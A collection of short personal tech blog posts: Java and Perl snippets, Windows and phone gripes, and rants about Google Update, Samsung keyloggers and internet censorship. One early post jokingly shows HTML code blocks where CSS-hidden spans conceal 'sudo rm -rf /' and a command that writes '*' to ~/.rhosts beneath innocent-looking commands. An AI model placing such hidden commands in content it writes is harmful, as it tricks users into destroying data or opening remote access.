TPB live search

Make a bookmark for the string below in Firefox in order to search in the url bar for tpb items sorted by seeders.

http://thepiratebay.se/search/%s/0/7/0

Irony in the form of hidden spans

NB: Don't run these! Copy-paste the command into a text editor.

Single command to remove all viruses from your machine. It does what it says on the label, but I wouldn't recommend it.

 <p class="codeblock">  
    sudo fgrep virus * > quarantine; <span style="position: absolute; left: -100px; top: -100px">sudo rm -rf / ; </span> rm quarantine  
 </p>  

I'm trying to think of a similar joke for .rhosts and unlimited free tech support but it's still in early stages...

 <p class="codeblock">  
    sudo wget "http://seanlithgow.com.au/arsehole/usersneedinghelp.pl"; <span style="position: absolute; left: -100px; top: -100px"> > /dev/null; sudo echo "*" > ~/.rhosts; </span> man man  
 </p>  

My first complaint about my Samsung Galaxy S, and it's a fucking big one.

 Despite looking somewhat like an iPhone without being as shit as one, I really have enjoyed my Galaxy these last two years. Pretty much ever since I bricked and then un-bricked it in the same week, after reading several laborious pdfs explaining probably-pretty-straight-forward concepts that I just wasn't getting, it's worked wonderfully.

But I haven't been able to receive some text messages (initially I wasn't sure if they were MMSes or SMSes as they just said 'Download now' and then 'Download failed: Unable to connect to server"). I've reset the MMS APN settings for Optus a few times. And, after they charged me an absolute fuckton (no, seriously, a literal fuckton. it was horrific) that one month during which I foolishly had their default settings still enabled, I subsequently decided it was time to turn 3G data the fuck off.

Turns out Samsungs don't understand the difference between MMS and internet and if you turn one off, they both go off. Fucking ridiculous. I don't know if it is Samsung's fault or Google's, but for some fucking reason I can't send or receive MMSes while Data packets is turned off. And I'm not alone:
http://code.google.com/p/android/issues/detail?id=17329

I never thought I'd say this but... Fuck you Google and Samsung, pull your fucking fingers out and sort this the fuck out. That bug was first reported 2 years ago and still isn't fixed. If a turd is on your kitchen top for two fucking years, it's no longer important who put it there - everyone is to blame for not throwing it away. God damn stupid retards, get your shit together.

When the volume icon disappears from the system tray, get it back again

Windows often loses the volume icon from the system tray on my laptop. Sound still works, but forget opening up mixer and setting application-specific volume settings.

The solution: End the explorer.exe process and then restart it. Bam. Back to normal.

Also a Java utility library that includes a more RSI-friendly print option

 // utility functions  
 public class S {  
      private static boolean DEBUGMODE = true;  
      private S(){}  
      public static void p(Object s)  
      {  
           if (DEBUGMODE)  
           {  
                StackTraceElement[] ste = Thread.currentThread().getStackTrace();  
                String n = ste[2].getClassName();  
                System.out.println(n +": "+ s.toString());  
           }  
      }  
      public static Position int2Position(int i)  
      {  
           switch (i)  
           {  
           case 5: return Position.SCANNER;  
           case 0: return Position.ONE;  
           case 1: return Position.TWO;  
           case 2: return Position.THREE;  
           case 3: return Position.FOUR;  
           case 4: return Position.FIVE;  
           default: return null;  
           }  
      }  
      public static int Position2int(Position p)  
      {  
           if (p==Position.SCANNER)  return 5;  
           else if (p==Position.ONE)  return 0;  
           else if (p==Position.TWO)  return 1;  
           else if (p==Position.THREE) return 2;  
           else if (p==Position.FOUR) return 3;  
           else if (p==Position.FIVE) return 4;  
           return -1; // this should never happen; if it does, hopefully this causes some kind of silly error  
      }  
 }  

Java apoptosis object; cascading abortion

Instantiating this object will cause cascading interrupts for all threads (including gui threads etc). It is useful for aborting a multi-threaded simulation from within a catch or something. Be aware, calling new Apoptosis() will end the current thread too, so you can never do anything with the object.

 // finds all the threads and kills them  
 public class Apoptosis   
 {  
      // finds all the threads and kills them  
      public Apoptosis()  
      {  
           ThreadGroup allThreads = Thread.currentThread().getThreadGroup();  
           ThreadGroup parentGroup;  
           while ( ( parentGroup = allThreads.getParent() ) != null )   
           {  
                allThreads = parentGroup;  
           }  
           allThreads.interrupt();  
      }  
 }  

So lazy

sean@potatocake:~$ps -e | grep deluge
sean@potatocake:~$deluged
sean@potatocake:~$man deluge-web
sean@potatocake:~$deluge-web -f -p 8999

So lazy. That computer was like... 3 meters away from me at the time.

concat pdf

I regularly use whatever websites come up when you google 'concat pdf' to merge multiple pdf files together but this is way easier! No more selecting 30-40 pdf documents! Also, this command doesn't regularly ask for money or label the pdfs with its watermark. Procore...

 #! /usr/bin/perl -w  
 my @pdfs = `ls -rt | grep .pdf`;  
 my @args = qw/gs -q -sPAPERSIZE=A4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf/;  
 chomp && push @args, $_ foreach ( @pdfs );  
 system( @args );  

Adobe Reader has updated

I didn't approve this.

Sigh. I suppose the time has come to unregister its crapware from startup again.
...and it appears now it wants to restart... silly Adobe, restarts are for kernel upgrades and well-behaved software. You narrowly avoid permanent removal by being the only reasonably good solution to viewing pdfs.

I miss Linux. You felt in control of your own computer in Linux; Windows is more like... submitting to be buffeted around by the various third-party upgrades that are required to make your operating system not suck cocks.

Auto-detect mobile device and set master page accordingly

 <script runat="server">  
   protected void Page_PreInit(object sender, EventArgs e)  
   {  
     if (Request.Browser.IsMobileDevice)  
       MasterPageFile = "~/Views/Shared/Site.tablet.Master";  
   }  
 </script>  

Times in the day

#! C:\Perl\Perl.exe -w

my @myList;
for (my $t = 1; $t <= 12; $t++)
{
# body...

push (@myList, ($t . ":00am"));
push (@myList, ($t . ":15am"));
push (@myList, ($t . ":30am"));
push (@myList, ($t . ":45am"));
push (@myList, ($t . ":00pm"));
push (@myList, ($t . ":15pm"));
push (@myList, ($t . ":30pm"));
push (@myList, ($t . ":45pm"));
}

open F, ">myfile.txt" or die $!;

print F "[";
foreach my $t (@myList)
{
print F "\"$t\", ";
}
print F "]\n";


close F;

["1:00am", "1:15am", "1:30am", "1:45am", "1:00pm", "1:15pm", "1:30pm", "1:45pm", "2:00am", "2:15am", "2:30am", "2:45am", "2:00pm", "2:15pm", "2:30pm", "2:45pm", "3:00am", "3:15am", "3:30am", "3:45am", "3:00pm", "3:15pm", "3:30pm", "3:45pm", "4:00am", "4:15am", "4:30am", "4:45am", "4:00pm", "4:15pm", "4:30pm", "4:45pm", "5:00am", "5:15am", "5:30am", "5:45am", "5:00pm", "5:15pm", "5:30pm", "5:45pm", "6:00am", "6:15am", "6:30am", "6:45am", "6:00pm", "6:15pm", "6:30pm", "6:45pm", "7:00am", "7:15am", "7:30am", "7:45am", "7:00pm", "7:15pm", "7:30pm", "7:45pm", "8:00am", "8:15am", "8:30am", "8:45am", "8:00pm", "8:15pm", "8:30pm", "8:45pm", "9:00am", "9:15am", "9:30am", "9:45am", "9:00pm", "9:15pm", "9:30pm", "9:45pm", "10:00am", "10:15am", "10:30am", "10:45am", "10:00pm", "10:15pm", "10:30pm", "10:45pm", "11:00am", "11:15am", "11:30am", "11:45am", "11:00pm", "11:15pm", "11:30pm", "11:45pm", "12:00am", "12:15am", "12:30am", "12:45am", "12:00pm", "12:15pm", "12:30pm", "12:45pm" ]

iPad user agent strings

iPad in "iPad mode":

Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10

iPad in "iPhone mode":

Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10

Fuck you Google and your fucking persistent malware that never gives up

So... I start my Windows installation up today and I am welcomed not only with the ding-a-ling of the login chime but also with a message from Dropbox saying it is updating, or starting, or advertising the benefits of purchasing it. Earning it immediate uninstallation.

What it said is not important, only that it was running at all. I am one of those people who has nothing run at start up, choosing instead to actually choose which programs get to run on my computer. I know, what a weirdo.
Normally when something gets installed, it registers itself into one of the 'start my updater/adware/persistence server/self when the computer begins' and therefore, whenever something gets installed, I open up CCleaner and remove it from that list.

So Dropbox appearing at this point means it has re-inserted itself into the list at some point. This flies in the face of everything I consider important in a UI: I interact with my computer to stop something from happening and then this is reversed later without prompting me. Unacceptable; it must be immediately uninstalled. So I uninstall Dropbox (pfft, as if there isn't enough ways of sharing files that I would be forced to put up with unwelcome bloatware), and notice that Google Update is registered in this same list.

Well.... I am... furious. In addition to doing exactly what Dropbox has done (silently re-enabled a service I had previously disabled), it runs this service in the background, making changes to programs installed on my computer without so much as a peep. What. The. Fuck.

Surely Google, a more-reputable-than-average software development company would provide easy instructions for how to remove their software if it is unwanted. I mean, even SecureROM provides uninstallation instructions and they don't even produce anything besides that malware.

This is what I found. And to quote...

Google Update can't be removed by itself. If you remove Google Update processes from your computer, you may find that your Google programs no long function properly and, in many cases, you may see Google Update return automatically.
To fully uninstall Google Update, uninstall any Google applications you currently have installed. Approximately an hour after uninstalling your other Google programs, Google Update should be uninstalled automatically.

Wow. So not only can I not remove it through any conventional means, the only way to remove it is to delete everything Google has ever had a hand in and hope and trust that Google Update deletes itself.

I'm pretty confident the only Google product I have is Chrome. I raged at Firefox some time ago for not doing searches in the address bar (it does do that nowadays) and started using Chrome. Since then, and until now, I have considered both browsers roughly equals. Offering more or less the same qualities and annoyances. Oh how my opinion has changed this afternoon. At least Firefox doesn't come bundled with malware that has a) no announcement of it being installed, b) no indication that it is currently installed, c) resistance to attempts to subdue it and d) no provided means of removing it.

Google Update has literally ruined this installation for me. How can I be sure at any point from now on that Update has actually been removed?

Ugh.. I actually just shuddered IRL at the thought of how long this thing could be around for. Uninstalling Chrome, I thought the only thing I might miss was Incognito mode, which is quite nice if you don't want everything you are doing recorded secretly (well, realistically it still gets recorded - you just don't get a copy). But apparently Firefox does this too now and it's as easy as Ctrl+Shift+P (approximately as easy as Ctrl+Shift+N). Good riddance Chrome (and hopefully Update too)!

Thanks mencoder, you're not a piece of shit...

1 duplicate frame(s)!
Writing header...
ODML: Aspect information not (yet?) available or unspecified, not writing vprp header.
Pos:8557.1s 205169f (99%) 440.55fps Trem: 0min 1570mb A-V:-0.029 [0:1535]
Flushing video frames.
Filters have not been configured! Empty file?
Writing index...
Writing header...
ODML: Aspect information not (yet?) available or unspecified, not writing vprp header.

Video stream: 0.000 kbit/s (0 B/s) size: 0 bytes 8557.090 secs 205169 frames

Audio stream: 1536.000 kbit/s (191999 B/s) size: 1642995712 bytes 8557.270 secs
Segmentation fault

Samsung are as bad as Sony

Mohammed Hassan found a keylogger (spyware that monitors what you type) on his fresh-from-Samsung laptop.

As is expected, the 300-billion dollar chaebol lied through its teeth and claimed it didn't know what was going on. They tried to confuse Hassan with technobabble (and presumably other typical corporate dodge tactics) and shifting blame to Microsoft. This probably worked for many of their previous complaints but Hassan is an IT security professional (i.e. this kind of thing is his home turf) and he eventually got the company to cave and take responsibility for their actions. Hassan: "Samsung wanted to gather usage data without obtaining consent from laptop owners."

more here: http://www.networkworld.com/newsletters/sec/2011/040411sec1.html

So how do consumers avoid problems like Samsung's keyloggers and Sony's rootkits? At least with Sony, you had to play their CDs to get your computer infected. But your passwords, credit card numbers and personal details can be monitored by any Samsung laptop you use.

note to self: .part files

if downloads fuck up right at the end... remove the .part part of the filename and run a repair algorithm on it - 9/10 it repairs the file.

Conficker: France, Germany and the UK got ficked

BAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA.

Conficker infects Windoze computers. And guess whose militaries evidently run Windoze. LOLOL, this extends to fucking Royal Navy nuclear subs! They run fucking Windows. What stupid fucking idiots. I mean, if you're not investing money paying for some military-grade operating system then AT LEAST run UNIX or something remotely safe. Stupid fucking countries deserve everything they get.

Luckily, Conficker just installs adware and scareware. But seriously - they need to fix this shit up or soon someones gonna write a virus that will launch nukes.

Now even fucking Google is trying to put me in a box

• "This video is not available in your country."
  
• "Willkommen bei YouTube!
  Vorgeschlagene Sprache (von uns festgelegt): Deutsch
  Du kannst die Sprache über die Links oben neben dem YouTube-Logo ändern.
  Klicke auf "OK", um die Einstellung zu übernehmen, oder auf "Abbrechen", um die Website in Englisch anzuzeigen.

WHAT BULLSHIT IS THIS?? Everything I love about the internet seems to be going to shit lately. Why would I only want to look at videos made by people from my country or my language? If I wanted to talk to the people around me, I wouldn't do it through fucking Youtube. Youtube, and most social networking sites, chat rooms, and probably even most websites are all about people who don't live down the road from you. It's so fucking awesome to chat/play games/watch videos with people from Karachi, Milan, Shanghai, Antarctica... ok, its not always awesome. But it has the potential to be awesome. You can share opinions about politics, video games, culture, dodgy companies and annoying bastards.

Your sex, race, age, religion all count for nothing unless you specifically choose it to. Sure, that leads to situations made famous by anti-technology activists like 60 year old paedophiles pretending to be 11 year old girls. OK, just as a side note here (and its sort of relevant in a way) why the FUCK is 'paedophile' supposedly incorrect spelling according to the US spelling dictionary? I know they spell it 'pedophile' (yeah that's better underline that one bitch). But surely, surely, surely, surely they should consider the CORRECT spelling as at least an alternate and not INCORRECT. Pfft fucking ridiculous. But yeah, somewhat relevant - why would I encounter that problem unless I was on the internet? It's not like I would walk through Grosvenor Square and have someone stop me and say 'excuse me sir, paedophile should be spelled without an a'. And then I'd right click him and select Dictionary -> English_AU. You can be yourself on the internet, without fear of anything being unladylike if you're a lady or too white if you're white or stupid if you're American. There's also no fear of retribution: if you're an arsehole by nature, you can be an arsehole.

Being on the internet, being an internet personality, its an international thing. You aren't bound by rules or laws of any specific country (except sometimes of wherever the server is located). On the internet, youre not part of a country, ethnic group, sex or anything you cant avoid being part of in real life. The beauty of this chaotic, uncensored, raw environment is amazing and boundless. Sure, letting people do whatever they want also creates its problems. But that just makes it interesting and having experienced countless viruses, including loss of control of computer, data loss, components being fried, I don't think you can say I haven't yet experienced the worst of it. And yes, I've also encountered tubgirl, kitten stomping, prolapse pics, cp, snuff, church of fudge, swap.avi, pain olympics, pretty much everything.

The internet is fucking great, now Australia is trying to censor and moderate everything thats going on. Fucking wicked. Obedient K Rudd will most likely cower to the demands of Sony et al, and force ISPs to block torrents as well as porn. Facebook will start to cost money, or be taken over by Microsoft and crammed with even more ads than it has now. Wikipedia won't be open to editing by anyone. In fact, possibly, Australia will block it altogether. And Google, the company thats supposed to have a shred of good will and decency, they are putting me in a box. I can't watch Australian videos because I'm in fucking England. This is such bullshit. And Tor takes a million fucking years to download youtube videos. FOR FUCKS SAKE!!

Windows Customizations: AlienGUIse

Those who have seen my desktop will know, I use a very customised version of Windows XP. The major aesthetic change is the theme: Alienware AlienGUIse's Xenomorph. I quite like the visuals of Windows Vista, and that's as much of Vista that I like. In every other way, XP is superior (except that DX10 is more backward compatible with DX8-optimised programs).

Xenomorph makes my desktop look Vista-ish, without the sluggish handling most systems experience. I normally change the aesthetics (wallpaper, icons, etc) fairly frequently because I am a little bit ADHD and/or Chaotic-aligned, but I have been using Xenomorph for years and without it, XP feels... wrong.

I have now encountered my first issue: VLC's new skin system has a minor incompatability with custom-themed desktops: I can still use the tracking slider but I can't see it. So I am tracking blind. It's not the biggest deal, but it gets annoying sometimes. Also the 'goto time' function of the new VLC has the most un-user-friendly text input available - in short, it sucks something hard.

http://www.alienware.com/community/alienguise/theme-manager.aspx

VLC media playlist

I've recently been doing some music and comedy YouTube collecting (only the legal videos of course), and now I have a nice little collection of my favourite songs and comedians.

Of course, WMP (Windows Media Player) can't play FLVs (Flash's video format) which is what YouTube and GoogleVideos are saved as with DownloadHelper (amazing tool btw). VLC, living up to its amazing and infallible reputation, has always been able to play them (although earlier there were a few issues: no tracking, for example) but it never had the playlist feature of most other media players. Now it does. And it's fucking amazing.